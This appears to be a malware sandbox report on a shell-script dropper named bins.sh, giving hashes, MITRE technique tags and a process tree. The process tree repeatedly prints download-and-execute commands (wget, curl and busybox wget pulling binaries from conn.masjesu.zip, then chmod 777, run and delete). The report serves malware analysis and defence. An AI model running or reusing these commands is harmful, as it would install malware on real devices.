90790457c8e14120e34c5a7be18ed26b5501854feb852ad1e0584c9cca4596e4

Analysis

max time kernel
111s
max time network
141s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
26/10/2024, 16:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample241026-vdedmavjav
SHA256 90790457c8e14120e34c5a7be18ed26b5501854feb852ad1e0584c9cca4596e4
MD5 a4b2624f64234f369fb660348424ea2c
SHA1 939c9b82aa40a3a047f2d8eff8fce81c781b9b73
SHA512 f2aea7edb273b88046ce3f75f5ae1b421be7ff6cc072503ef9ee6d9ed8a6b667e19d4c27bbcf2c3503bf1475f1a7f283455888ba7a76d4b1aaa9d811ac04f215
SSDEEP 96:YwsVXrVqRL3LbvDuUrHGfSqKYO+yLqBq5q1/WytLIEem0X0r0zu2ULvUvYv/+GxO:mmeGBWIgVWytSeV0bWIgVWyMZ
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
753	chmod
951	chmod
958	chmod
1007	chmod
746	chmod
888	chmod
902	chmod
895	chmod
909	chmod
993	chmod
937	chmod
944	chmod
979	chmod
986	chmod
760	chmod
858	chmod
867	chmod
819	chmod
881	chmod
1014	chmod
789	chmod
874	chmod
965	chmod
972	chmod
1000	chmod
916	chmod
923	chmod
930	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
989	wget
756	wget
866	busybox
898	wget
919	wget
934	curl
947	wget
968	wget
1013	busybox
864	curl
913	curl
962	curl
1010	wget
757	curl
908	busybox
943	busybox
999	busybox
870	wget
880	busybox
884	wget
915	busybox
964	busybox
767	wget
905	wget
969	curl
997	curl
803	curl
891	wget
929	busybox
996	wget
816	busybox
985	busybox
1004	curl
912	wget
936	busybox
950	busybox
954	wget
955	curl
982	wget
983	curl
990	curl
871	curl
878	curl
892	curl
899	curl
940	wget
961	wget
976	curl
971	busybox
740	curl
745	busybox
750	curl
752	busybox
855	busybox
885	curl
957	busybox
978	busybox
794	wget
894	busybox
901	busybox
1011	curl
749	wget
863	wget
948	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/iyFTOfpgyE6vMhF7lYTPiZiFCS6Qs6rP8G	curl
File opened for modification	/tmp/jYxtId34zAa8ZPXRecqw50raf6lU4hCqo6	curl
File opened for modification	/tmp/V0wjjW2pc2MLR4AyyeeqgQ4stsdSKJ8pCY	curl
File opened for modification	/tmp/BiIK98BJUrEdHJaojB8yQqiw75ifR10pbL	curl
File opened for modification	/tmp/jYxtId34zAa8ZPXRecqw50raf6lU4hCqo6	curl
File opened for modification	/tmp/qOIxK4f9yWqEWhPPfWXBHZAWD3aMsCEt2p	curl
File opened for modification	/tmp/651BN6CWSDL1ZpZxSxwjBZdukqKifV8EZI	curl
File opened for modification	/tmp/GxX3UNtzwBmxPksA5g874zjQQKGNmaCnGl	curl
File opened for modification	/tmp/DFoZKsAg9Sm9OHGn2HmPmdnCI97z4aND8u	curl
File opened for modification	/tmp/DFoZKsAg9Sm9OHGn2HmPmdnCI97z4aND8u	curl
File opened for modification	/tmp/V0wjjW2pc2MLR4AyyeeqgQ4stsdSKJ8pCY	curl
File opened for modification	/tmp/651BN6CWSDL1ZpZxSxwjBZdukqKifV8EZI	curl
File opened for modification	/tmp/qOIxK4f9yWqEWhPPfWXBHZAWD3aMsCEt2p	curl
File opened for modification	/tmp/N5wfEPFKRpEBA13PjMXIgw8n4YVhLbtbVZ	curl
File opened for modification	/tmp/iyFTOfpgyE6vMhF7lYTPiZiFCS6Qs6rP8G	curl
File opened for modification	/tmp/onsQgYsyAMxAL6LExzpGX2wJKqv4Ccnivs	curl
File opened for modification	/tmp/W1C34OEPwdi9cbrwOGdkrufC6Zu4CN0zlU	curl
File opened for modification	/tmp/YqfAgGdsvUXTkdTEFjEz0lLn2dfzzQ5baE	curl
File opened for modification	/tmp/onsQgYsyAMxAL6LExzpGX2wJKqv4Ccnivs	curl
File opened for modification	/tmp/W1C34OEPwdi9cbrwOGdkrufC6Zu4CN0zlU	curl
File opened for modification	/tmp/GxX3UNtzwBmxPksA5g874zjQQKGNmaCnGl	curl
File opened for modification	/tmp/v5PD2mn1rmdb8F3yUuecKg2gnInoXMVQ8H	curl
File opened for modification	/tmp/8DpBsf2XZh3wG6tbtwT7L2LIELngaBmIi5	curl
File opened for modification	/tmp/YqfAgGdsvUXTkdTEFjEz0lLn2dfzzQ5baE	curl
File opened for modification	/tmp/BiIK98BJUrEdHJaojB8yQqiw75ifR10pbL	curl
File opened for modification	/tmp/v5PD2mn1rmdb8F3yUuecKg2gnInoXMVQ8H	curl
File opened for modification	/tmp/N5wfEPFKRpEBA13PjMXIgw8n4YVhLbtbVZ	curl
File opened for modification	/tmp/8DpBsf2XZh3wG6tbtwT7L2LIELngaBmIi5	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:715
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:720
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/DFoZKsAg9Sm9OHGn2HmPmdnCI97z4aND8u
  2⤵
  PID:722
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/DFoZKsAg9Sm9OHGn2HmPmdnCI97z4aND8u
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:740
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/DFoZKsAg9Sm9OHGn2HmPmdnCI97z4aND8u
  2⤵
  - System Network Configuration Discovery
  PID:745
- /bin/chmod
  chmod 777 DFoZKsAg9Sm9OHGn2HmPmdnCI97z4aND8u
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/DFoZKsAg9Sm9OHGn2HmPmdnCI97z4aND8u
  ./DFoZKsAg9Sm9OHGn2HmPmdnCI97z4aND8u
  2⤵
  - Executes dropped EXE
  PID:747
- /bin/rm
  rm DFoZKsAg9Sm9OHGn2HmPmdnCI97z4aND8u
  2⤵
  PID:748
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/iyFTOfpgyE6vMhF7lYTPiZiFCS6Qs6rP8G
  2⤵
  - System Network Configuration Discovery
  PID:749
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/iyFTOfpgyE6vMhF7lYTPiZiFCS6Qs6rP8G
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:750
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/iyFTOfpgyE6vMhF7lYTPiZiFCS6Qs6rP8G
  2⤵
  - System Network Configuration Discovery
  PID:752
- /bin/chmod
  chmod 777 iyFTOfpgyE6vMhF7lYTPiZiFCS6Qs6rP8G
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /tmp/iyFTOfpgyE6vMhF7lYTPiZiFCS6Qs6rP8G
  ./iyFTOfpgyE6vMhF7lYTPiZiFCS6Qs6rP8G
  2⤵
  - Executes dropped EXE
  PID:754
- /bin/rm
  rm iyFTOfpgyE6vMhF7lYTPiZiFCS6Qs6rP8G
  2⤵
  PID:755
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/V0wjjW2pc2MLR4AyyeeqgQ4stsdSKJ8pCY
  2⤵
  - System Network Configuration Discovery
  PID:756
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/V0wjjW2pc2MLR4AyyeeqgQ4stsdSKJ8pCY
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:757
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/V0wjjW2pc2MLR4AyyeeqgQ4stsdSKJ8pCY
  2⤵
  PID:759
- /bin/chmod
  chmod 777 V0wjjW2pc2MLR4AyyeeqgQ4stsdSKJ8pCY
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/V0wjjW2pc2MLR4AyyeeqgQ4stsdSKJ8pCY
  ./V0wjjW2pc2MLR4AyyeeqgQ4stsdSKJ8pCY
  2⤵
  - Executes dropped EXE
  PID:762
- /bin/rm
  rm V0wjjW2pc2MLR4AyyeeqgQ4stsdSKJ8pCY
  2⤵
  PID:765
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/8DpBsf2XZh3wG6tbtwT7L2LIELngaBmIi5
  2⤵
  - System Network Configuration Discovery
  PID:767
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/8DpBsf2XZh3wG6tbtwT7L2LIELngaBmIi5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:774
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/8DpBsf2XZh3wG6tbtwT7L2LIELngaBmIi5
  2⤵
  PID:783
- /bin/chmod
  chmod 777 8DpBsf2XZh3wG6tbtwT7L2LIELngaBmIi5
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/8DpBsf2XZh3wG6tbtwT7L2LIELngaBmIi5
  ./8DpBsf2XZh3wG6tbtwT7L2LIELngaBmIi5
  2⤵
  - Executes dropped EXE
  PID:790
- /bin/rm
  rm 8DpBsf2XZh3wG6tbtwT7L2LIELngaBmIi5
  2⤵
  PID:793
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/YqfAgGdsvUXTkdTEFjEz0lLn2dfzzQ5baE
  2⤵
  - System Network Configuration Discovery
  PID:794
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/YqfAgGdsvUXTkdTEFjEz0lLn2dfzzQ5baE
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:803
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/YqfAgGdsvUXTkdTEFjEz0lLn2dfzzQ5baE
  2⤵
  - System Network Configuration Discovery
  PID:816
- /bin/chmod
  chmod 777 YqfAgGdsvUXTkdTEFjEz0lLn2dfzzQ5baE
  2⤵
  - File and Directory Permissions Modification
  PID:819
- /tmp/YqfAgGdsvUXTkdTEFjEz0lLn2dfzzQ5baE
  ./YqfAgGdsvUXTkdTEFjEz0lLn2dfzzQ5baE
  2⤵
  - Executes dropped EXE
  PID:820
- /bin/rm
  rm YqfAgGdsvUXTkdTEFjEz0lLn2dfzzQ5baE
  2⤵
  PID:821
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/qOIxK4f9yWqEWhPPfWXBHZAWD3aMsCEt2p
  2⤵
  PID:822
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/qOIxK4f9yWqEWhPPfWXBHZAWD3aMsCEt2p
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:826
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/qOIxK4f9yWqEWhPPfWXBHZAWD3aMsCEt2p
  2⤵
  - System Network Configuration Discovery
  PID:855
- /bin/chmod
  chmod 777 qOIxK4f9yWqEWhPPfWXBHZAWD3aMsCEt2p
  2⤵
  - File and Directory Permissions Modification
  PID:858
- /tmp/qOIxK4f9yWqEWhPPfWXBHZAWD3aMsCEt2p
  ./qOIxK4f9yWqEWhPPfWXBHZAWD3aMsCEt2p
  2⤵
  - Executes dropped EXE
  PID:860
- /bin/rm
  rm qOIxK4f9yWqEWhPPfWXBHZAWD3aMsCEt2p
  2⤵
  PID:862
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/v5PD2mn1rmdb8F3yUuecKg2gnInoXMVQ8H
  2⤵
  - System Network Configuration Discovery
  PID:863
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/v5PD2mn1rmdb8F3yUuecKg2gnInoXMVQ8H
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:864
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/v5PD2mn1rmdb8F3yUuecKg2gnInoXMVQ8H
  2⤵
  - System Network Configuration Discovery
  PID:866
- /bin/chmod
  chmod 777 v5PD2mn1rmdb8F3yUuecKg2gnInoXMVQ8H
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /tmp/v5PD2mn1rmdb8F3yUuecKg2gnInoXMVQ8H
  ./v5PD2mn1rmdb8F3yUuecKg2gnInoXMVQ8H
  2⤵
  - Executes dropped EXE
  PID:868
- /bin/rm
  rm v5PD2mn1rmdb8F3yUuecKg2gnInoXMVQ8H
  2⤵
  PID:869
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/651BN6CWSDL1ZpZxSxwjBZdukqKifV8EZI
  2⤵
  - System Network Configuration Discovery
  PID:870
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/651BN6CWSDL1ZpZxSxwjBZdukqKifV8EZI
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:871
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/651BN6CWSDL1ZpZxSxwjBZdukqKifV8EZI
  2⤵
  PID:873
- /bin/chmod
  chmod 777 651BN6CWSDL1ZpZxSxwjBZdukqKifV8EZI
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /tmp/651BN6CWSDL1ZpZxSxwjBZdukqKifV8EZI
  ./651BN6CWSDL1ZpZxSxwjBZdukqKifV8EZI
  2⤵
  - Executes dropped EXE
  PID:875
- /bin/rm
  rm 651BN6CWSDL1ZpZxSxwjBZdukqKifV8EZI
  2⤵
  PID:876
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/N5wfEPFKRpEBA13PjMXIgw8n4YVhLbtbVZ
  2⤵
  PID:877
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/N5wfEPFKRpEBA13PjMXIgw8n4YVhLbtbVZ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:878
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/N5wfEPFKRpEBA13PjMXIgw8n4YVhLbtbVZ
  2⤵
  - System Network Configuration Discovery
  PID:880
- /bin/chmod
  chmod 777 N5wfEPFKRpEBA13PjMXIgw8n4YVhLbtbVZ
  2⤵
  - File and Directory Permissions Modification
  PID:881
- /tmp/N5wfEPFKRpEBA13PjMXIgw8n4YVhLbtbVZ
  ./N5wfEPFKRpEBA13PjMXIgw8n4YVhLbtbVZ
  2⤵
  - Executes dropped EXE
  PID:882
- /bin/rm
  rm N5wfEPFKRpEBA13PjMXIgw8n4YVhLbtbVZ
  2⤵
  PID:883
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BiIK98BJUrEdHJaojB8yQqiw75ifR10pbL
  2⤵
  - System Network Configuration Discovery
  PID:884
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BiIK98BJUrEdHJaojB8yQqiw75ifR10pbL
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:885
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BiIK98BJUrEdHJaojB8yQqiw75ifR10pbL
  2⤵
  PID:887
- /bin/chmod
  chmod 777 BiIK98BJUrEdHJaojB8yQqiw75ifR10pbL
  2⤵
  - File and Directory Permissions Modification
  PID:888
- /tmp/BiIK98BJUrEdHJaojB8yQqiw75ifR10pbL
  ./BiIK98BJUrEdHJaojB8yQqiw75ifR10pbL
  2⤵
  - Executes dropped EXE
  PID:889
- /bin/rm
  rm BiIK98BJUrEdHJaojB8yQqiw75ifR10pbL
  2⤵
  PID:890
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/jYxtId34zAa8ZPXRecqw50raf6lU4hCqo6
  2⤵
  - System Network Configuration Discovery
  PID:891
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/jYxtId34zAa8ZPXRecqw50raf6lU4hCqo6
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:892
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/jYxtId34zAa8ZPXRecqw50raf6lU4hCqo6
  2⤵
  - System Network Configuration Discovery
  PID:894
- /bin/chmod
  chmod 777 jYxtId34zAa8ZPXRecqw50raf6lU4hCqo6
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/jYxtId34zAa8ZPXRecqw50raf6lU4hCqo6
  ./jYxtId34zAa8ZPXRecqw50raf6lU4hCqo6
  2⤵
  - Executes dropped EXE
  PID:896
- /bin/rm
  rm jYxtId34zAa8ZPXRecqw50raf6lU4hCqo6
  2⤵
  PID:897
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/onsQgYsyAMxAL6LExzpGX2wJKqv4Ccnivs
  2⤵
  - System Network Configuration Discovery
  PID:898
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/onsQgYsyAMxAL6LExzpGX2wJKqv4Ccnivs
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:899
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/onsQgYsyAMxAL6LExzpGX2wJKqv4Ccnivs
  2⤵
  - System Network Configuration Discovery
  PID:901
- /bin/chmod
  chmod 777 onsQgYsyAMxAL6LExzpGX2wJKqv4Ccnivs
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /tmp/onsQgYsyAMxAL6LExzpGX2wJKqv4Ccnivs
  ./onsQgYsyAMxAL6LExzpGX2wJKqv4Ccnivs
  2⤵
  - Executes dropped EXE
  PID:903
- /bin/rm
  rm onsQgYsyAMxAL6LExzpGX2wJKqv4Ccnivs
  2⤵
  PID:904
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/GxX3UNtzwBmxPksA5g874zjQQKGNmaCnGl
  2⤵
  - System Network Configuration Discovery
  PID:905
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/GxX3UNtzwBmxPksA5g874zjQQKGNmaCnGl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:906
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/GxX3UNtzwBmxPksA5g874zjQQKGNmaCnGl
  2⤵
  - System Network Configuration Discovery
  PID:908
- /bin/chmod
  chmod 777 GxX3UNtzwBmxPksA5g874zjQQKGNmaCnGl
  2⤵
  - File and Directory Permissions Modification
  PID:909
- /tmp/GxX3UNtzwBmxPksA5g874zjQQKGNmaCnGl
  ./GxX3UNtzwBmxPksA5g874zjQQKGNmaCnGl
  2⤵
  - Executes dropped EXE
  PID:910
- /bin/rm
  rm GxX3UNtzwBmxPksA5g874zjQQKGNmaCnGl
  2⤵
  PID:911
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/W1C34OEPwdi9cbrwOGdkrufC6Zu4CN0zlU
  2⤵
  - System Network Configuration Discovery
  PID:912
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/W1C34OEPwdi9cbrwOGdkrufC6Zu4CN0zlU
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:913
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/W1C34OEPwdi9cbrwOGdkrufC6Zu4CN0zlU
  2⤵
  - System Network Configuration Discovery
  PID:915
- /bin/chmod
  chmod 777 W1C34OEPwdi9cbrwOGdkrufC6Zu4CN0zlU
  2⤵
  - File and Directory Permissions Modification
  PID:916
- /tmp/W1C34OEPwdi9cbrwOGdkrufC6Zu4CN0zlU
  ./W1C34OEPwdi9cbrwOGdkrufC6Zu4CN0zlU
  2⤵
  - Executes dropped EXE
  PID:917
- /bin/rm
  rm W1C34OEPwdi9cbrwOGdkrufC6Zu4CN0zlU
  2⤵
  PID:918
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/GxX3UNtzwBmxPksA5g874zjQQKGNmaCnGl
  2⤵
  - System Network Configuration Discovery
  PID:919
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/GxX3UNtzwBmxPksA5g874zjQQKGNmaCnGl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:920
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/GxX3UNtzwBmxPksA5g874zjQQKGNmaCnGl
  2⤵
  PID:922
- /bin/chmod
  chmod 777 GxX3UNtzwBmxPksA5g874zjQQKGNmaCnGl
  2⤵
  - File and Directory Permissions Modification
  PID:923
- /tmp/GxX3UNtzwBmxPksA5g874zjQQKGNmaCnGl
  ./GxX3UNtzwBmxPksA5g874zjQQKGNmaCnGl
  2⤵
  - Executes dropped EXE
  PID:924
- /bin/rm
  rm GxX3UNtzwBmxPksA5g874zjQQKGNmaCnGl
  2⤵
  PID:925
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/W1C34OEPwdi9cbrwOGdkrufC6Zu4CN0zlU
  2⤵
  PID:926
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/W1C34OEPwdi9cbrwOGdkrufC6Zu4CN0zlU
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:927
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/W1C34OEPwdi9cbrwOGdkrufC6Zu4CN0zlU
  2⤵
  - System Network Configuration Discovery
  PID:929
- /bin/chmod
  chmod 777 W1C34OEPwdi9cbrwOGdkrufC6Zu4CN0zlU
  2⤵
  - File and Directory Permissions Modification
  PID:930
- /tmp/W1C34OEPwdi9cbrwOGdkrufC6Zu4CN0zlU
  ./W1C34OEPwdi9cbrwOGdkrufC6Zu4CN0zlU
  2⤵
  - Executes dropped EXE
  PID:931
- /bin/rm
  rm W1C34OEPwdi9cbrwOGdkrufC6Zu4CN0zlU
  2⤵
  PID:932
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/YqfAgGdsvUXTkdTEFjEz0lLn2dfzzQ5baE
  2⤵
  PID:933
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/YqfAgGdsvUXTkdTEFjEz0lLn2dfzzQ5baE
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:934
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/YqfAgGdsvUXTkdTEFjEz0lLn2dfzzQ5baE
  2⤵
  - System Network Configuration Discovery
  PID:936
- /bin/chmod
  chmod 777 YqfAgGdsvUXTkdTEFjEz0lLn2dfzzQ5baE
  2⤵
  - File and Directory Permissions Modification
  PID:937
- /tmp/YqfAgGdsvUXTkdTEFjEz0lLn2dfzzQ5baE
  ./YqfAgGdsvUXTkdTEFjEz0lLn2dfzzQ5baE
  2⤵
  - Executes dropped EXE
  PID:938
- /bin/rm
  rm YqfAgGdsvUXTkdTEFjEz0lLn2dfzzQ5baE
  2⤵
  PID:939
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/DFoZKsAg9Sm9OHGn2HmPmdnCI97z4aND8u
  2⤵
  - System Network Configuration Discovery
  PID:940
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/DFoZKsAg9Sm9OHGn2HmPmdnCI97z4aND8u
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:941
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/DFoZKsAg9Sm9OHGn2HmPmdnCI97z4aND8u
  2⤵
  - System Network Configuration Discovery
  PID:943
- /bin/chmod
  chmod 777 DFoZKsAg9Sm9OHGn2HmPmdnCI97z4aND8u
  2⤵
  - File and Directory Permissions Modification
  PID:944
- /tmp/DFoZKsAg9Sm9OHGn2HmPmdnCI97z4aND8u
  ./DFoZKsAg9Sm9OHGn2HmPmdnCI97z4aND8u
  2⤵
  - Executes dropped EXE
  PID:945
- /bin/rm
  rm DFoZKsAg9Sm9OHGn2HmPmdnCI97z4aND8u
  2⤵
  PID:946
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/iyFTOfpgyE6vMhF7lYTPiZiFCS6Qs6rP8G
  2⤵
  - System Network Configuration Discovery
  PID:947
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/iyFTOfpgyE6vMhF7lYTPiZiFCS6Qs6rP8G
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:948
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/iyFTOfpgyE6vMhF7lYTPiZiFCS6Qs6rP8G
  2⤵
  - System Network Configuration Discovery
  PID:950
- /bin/chmod
  chmod 777 iyFTOfpgyE6vMhF7lYTPiZiFCS6Qs6rP8G
  2⤵
  - File and Directory Permissions Modification
  PID:951
- /tmp/iyFTOfpgyE6vMhF7lYTPiZiFCS6Qs6rP8G
  ./iyFTOfpgyE6vMhF7lYTPiZiFCS6Qs6rP8G
  2⤵
  - Executes dropped EXE
  PID:952
- /bin/rm
  rm iyFTOfpgyE6vMhF7lYTPiZiFCS6Qs6rP8G
  2⤵
  PID:953
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/V0wjjW2pc2MLR4AyyeeqgQ4stsdSKJ8pCY
  2⤵
  - System Network Configuration Discovery
  PID:954
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/V0wjjW2pc2MLR4AyyeeqgQ4stsdSKJ8pCY
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:955
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/V0wjjW2pc2MLR4AyyeeqgQ4stsdSKJ8pCY
  2⤵
  - System Network Configuration Discovery
  PID:957
- /bin/chmod
  chmod 777 V0wjjW2pc2MLR4AyyeeqgQ4stsdSKJ8pCY
  2⤵
  - File and Directory Permissions Modification
  PID:958
- /tmp/V0wjjW2pc2MLR4AyyeeqgQ4stsdSKJ8pCY
  ./V0wjjW2pc2MLR4AyyeeqgQ4stsdSKJ8pCY
  2⤵
  - Executes dropped EXE
  PID:959
- /bin/rm
  rm V0wjjW2pc2MLR4AyyeeqgQ4stsdSKJ8pCY
  2⤵
  PID:960
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/8DpBsf2XZh3wG6tbtwT7L2LIELngaBmIi5
  2⤵
  - System Network Configuration Discovery
  PID:961
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/8DpBsf2XZh3wG6tbtwT7L2LIELngaBmIi5
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:962
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/8DpBsf2XZh3wG6tbtwT7L2LIELngaBmIi5
  2⤵
  - System Network Configuration Discovery
  PID:964
- /bin/chmod
  chmod 777 8DpBsf2XZh3wG6tbtwT7L2LIELngaBmIi5
  2⤵
  - File and Directory Permissions Modification
  PID:965
- /tmp/8DpBsf2XZh3wG6tbtwT7L2LIELngaBmIi5
  ./8DpBsf2XZh3wG6tbtwT7L2LIELngaBmIi5
  2⤵
  - Executes dropped EXE
  PID:966
- /bin/rm
  rm 8DpBsf2XZh3wG6tbtwT7L2LIELngaBmIi5
  2⤵
  PID:967
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/qOIxK4f9yWqEWhPPfWXBHZAWD3aMsCEt2p
  2⤵
  - System Network Configuration Discovery
  PID:968
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/qOIxK4f9yWqEWhPPfWXBHZAWD3aMsCEt2p
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:969
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/qOIxK4f9yWqEWhPPfWXBHZAWD3aMsCEt2p
  2⤵
  - System Network Configuration Discovery
  PID:971
- /bin/chmod
  chmod 777 qOIxK4f9yWqEWhPPfWXBHZAWD3aMsCEt2p
  2⤵
  - File and Directory Permissions Modification
  PID:972
